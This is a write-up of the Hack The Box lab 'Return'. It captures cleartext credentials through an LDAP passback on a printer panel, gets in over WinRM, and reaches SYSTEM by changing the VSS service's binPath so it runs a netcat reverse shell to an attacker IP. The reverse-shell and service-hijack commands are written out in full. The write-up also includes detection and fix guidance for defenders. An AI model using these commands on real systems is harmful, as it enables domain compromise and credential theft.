Return
Executive summary — Return is an Easy Windows (Active Directory) box with two very real-world techniques: an “LDAP passback” — a printer's web panel lets you configure which LDAP server it authenticates against, so we point it at our own machine to capture its credentials in the clear — and then abuse of the Server Operators group to modify a system service and run code as
SYSTEM. A printer panel → LDAP passback → WinRM → Server Operators → SYSTEM path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
| Domain | return.local |
Attack map
[80] HTB Printer Admin Panel · /settings.php (LDAP config → printer.return.local)
│ LDAP passback: point the LDAP server at OUR IP → capture credentials
▼
[CREDS] return\svc-printer : 1edFg43012!!
│ svc-printer ∈ BUILTIN\Remote Management Users (enables WinRM)
▼
[WINRM] evil-winrm as svc-printer (user.txt)
│ svc-printer ∈ BUILTIN\Server Operators (can modify services)
▼
[SYSTEM] sc config VSS binpath=...nc64.exe → sc start VSS → SYSTEM shell (root.txt)
1. Reconnaissance
We start with a full TCP port scan, without host discovery (we know it's alive) and without DNS resolution, to save time:
nmap -p- --min-rate 10000 -oA nmap-alltcp <TARGET_IP>
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
What matters:
53(DNS) +88(Kerberos) +389/636/3268/3269(LDAP/LDAPS + Global Catalog) +445(SMB) is the classic signature of an Active Directory Domain Controller. With WinRM (5985) also open: if we get valid credentials, we log in remotely with Evil-WinRM without needing any other vulnerability.
We rescan just the discovered ports with version detection and default scripts, to confirm services and banners:
nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oA nmap-services <TARGET_IP>
80/tcp open http Microsoft IIS httpd 10.0
389/tcp open ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Port 80 serves a web app on IIS, 389 confirms AD LDAP, and 5985 confirms WinRM.
2. SMB enumeration
We check whether SMB allows anonymously listing shares:
crackmapexec smb <TARGET_IP> --shares
STATUS_USER_SESSION_DELETED
No useful anonymous session: we need credentials before we can pull anything over SMB. On to the web app, the other exposed service.
3. Web enumeration — printer admin panel
At http://<TARGET_IP>/ there's a panel called “HTB Printer Admin Panel”. Browsing the site we find a configuration page:
http://<TARGET_IP>/settings.php
The form exposes the typical fields for a printer that authenticates against a corporate directory: Server Address, Server Port, Username and a hidden Password field. The server field defaults to printer.return.local.
4. The vulnerability — LDAP passback
The design flaw: when you click “update configuration”, the server itself (not our browser) tries to connect and authenticate against whatever LDAP server is set in the form, using its own internal credentials. If we swap that field for OUR IP, the victim machine will try to authenticate against us, thinking we're its directory — and since it uses simple LDAP authentication, the credentials travel in the clear and we capture them with a plain listener. This technique is known as an “LDAP passback”.
We spin up a listener on the LDAP port (389, needs root since it's a privileged port <1024) before touching anything in the web app:
sudo nc -lvnp 389
In /settings.php we change Server Address from printer.return.local to our attacker IP and click “Update”:
Server Address: <ATTACKER_IP>
[Update]
On the listener we receive the connection with the service's credentials in the clear:
return\svc-printer
1edFg43012!!
The web app tried to authenticate against our Kali thinking it was the legitimate LDAP server. This is the key point of the whole box: username
svc-printer, password1edFg43012!!, domainreturn.local.
5. Validating credentials and initial access — WinRM
Before logging in, we confirm the credentials are valid against SMB:
crackmapexec smb <TARGET_IP> -u svc-printer -p '1edFg43012!!'
[+] return.local\svc-printer:1edFg43012!!
And check whether they also work for WinRM, since we saw port 5985 open:
crackmapexec winrm <TARGET_IP> -u svc-printer -p '1edFg43012!!'
[+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
CrackMapExec's
Pwn3d!confirmssvc-printercan open a remote session over WinRM (it belongs toBUILTIN\Remote Management Users). We log in with Evil-WinRM:
evil-winrm -i <TARGET_IP> -u svc-printer -p '1edFg43012!!'
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
We now have a shell as return\svc-printer. We read the user flag:
cd C:\Users\svc-printer\Desktop
type user.txt
6. Internal enumeration — privileges and groups
With access confirmed, we check who we are and what token privileges we hold:
whoami
return\svc-printer
whoami /priv
SeBackupPrivilege
SeRestorePrivilege
SeLoadDriverPrivilege
SeShutdownPrivilege
SeChangeNotifyPrivilege
Interesting privileges (
SeBackupPrivilege/SeRestorePrivilegewould give another escalation route on their own), but on Return the more direct path isn't here — it's in the user's group membership.
whoami /groups
BUILTIN\Server Operators
BUILTIN\Print Operators
BUILTIN\Remote Management Users
svc-printerbelongs toBUILTIN\Server Operators: on a Domain Controller, this group can start, stop and modify system services — including their executable path (binPath). And since many services run asNT AUTHORITY\SYSTEM, whoever can change the binary a service runs gets that command executed with SYSTEM privileges.
7. Escalation — abusing the VSS service
The plan: upload an nc64.exe to the victim, reconfigure an existing service (VSS, the volume shadow copy service) to run a reverse shell instead of its legitimate binary, start it, and catch the connection as SYSTEM.
We download Netcat for Windows on Kali:
wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe
We upload it with Evil-WinRM (which can transfer files from Kali to the Windows box) and move it to C:\ProgramData, a folder usually writable by non-admin users and from which binaries can be executed:
upload nc64.exe
move nc64.exe C:\ProgramData\nc64.exe
dir C:\ProgramData\nc64.exe
We open a listener on Kali before touching the service:
nc -lvnp 443
We reconfigure the VSS service's binPath to launch a reverse shell toward our IP:
sc.exe config VSS binpath= "C:\Windows\System32\cmd.exe /c C:\ProgramData\nc64.exe -e cmd <ATTACKER_IP> 443"
Why wrap it in
cmd.exe /c: launchingnc64.exedirectly as the service's binary sometimes works, but the shell can die if the service times out on start. Having the service runcmd, andcmdlaunchnc64.exe, keeps the connection alive even if the service's own startup fails.
We start the service:
sc.exe start VSS
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
This error is expected and doesn't mean the attack failed: the service doesn't respond like a legitimate Windows service would, but our command has already executed before the start-up times out.
On the Kali listener we catch the connection:
Connection received on <TARGET_IP>
Microsoft Windows [Version 10.0.17763.107]
C:\Windows\system32>whoami
nt authority\system
8. Root flag
cd C:\Users\Administrator\Desktop
dir
type root.txt
If the path were different, the flag can be located by searching the whole disk: dir /s /b root.txt from C:\.
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | SMB (445) | No anonymous session | None (forces finding credentials first) |
| Foothold | Printer panel · /settings.php | LDAP passback: the server authenticates against an arbitrary client-supplied LDAP host | Cleartext credentials for svc-printer |
| Access | WinRM (5985) | Valid credentials + Remote Management Users | Initial shell as svc-printer (user.txt) |
| PrivEsc | BUILTIN\Server Operators | Can modify a service's binPath (VSS) | Code execution as NT AUTHORITY\SYSTEM (root.txt) |
Defender's view
Nothing in this chain is a software bug: it is configuration and group membership. That makes it quiet, but not invisible.
LDAP passback from the printer admin panel
How it shows up in logs / telemetry
- Firewall or NetFlow logs: the printer opening an outbound LDAP (389/tcp) connection to a workstation instead of a domain controller. Devices should only ever bind to known DCs, so any other destination is an alert.
- The printer panel's own log (if any) shows the LDAP server address being changed by a web session.
How to fix it
- Protect the device's admin panel with strong credentials, and block changes to the directory server address without re-entering the bind password.
- Use LDAPS with certificate validation, and egress-filter device VLANs so they can reach only the DCs.
- Give
svc-printeronly the rights a printer needs to read the directory.
WinRM access as svc-printer
How it shows up in logs / telemetry
- Security log: a network logon for
svc-printeron the DC followed by WinRM (PowerShell remoting) activity. A service account starting an interactive remote shell is anomalous by definition.
How to fix it
- Remove the account from
Remote Management Users, deny it interactive and remote logon rights via GPO, and consider a group-managed service account (gMSA) so there is no static password to steal.
Server Operators reconfiguring the VSS service
How it shows up in logs / telemetry
- The service's
ImagePathchanges in the registry (Sysmon registry auditing catches it), and the Service Control Manager logs the VSS service stopping and starting (event 7036) right after. - Process telemetry:
services.exelaunchingcmd.exeand a binary fromC:\ProgramDataasSYSTEM. - Changes to privileged group membership are logged on the DC; alert on any addition to
Server Operators.
How to fix it
- Keep
Server Operatorsempty: on a DC it is effectively an administrative group because it can reconfigure services that run as SYSTEM. - Treat it, together with Backup Operators and Account Operators, as Tier 0 in privileged-access reviews.
Lessons learned
- LDAP passback: never let a device or application connect to a user-configurable, arbitrary LDAP server using service credentials. Use LDAPS, pin the destination (allowlist), and validate the certificate.
- Printers and other IoT/management devices store service credentials that are valuable for lateral movement across the domain: they're as legitimate a web recon target as anything else.
BUILTIN\Server Operatorsis nearly Administrator on a Domain Controller: it can take full control of the system by abusing services. Don't put service accounts there without a real need.- Windows services run as SYSTEM: whoever can modify a service's
binPath(or its binary) gets code execution with those privileges, with no exploit required. - Always check
whoami /privandwhoami /groupsafter initial access: the escalation path is almost never in the first place you look.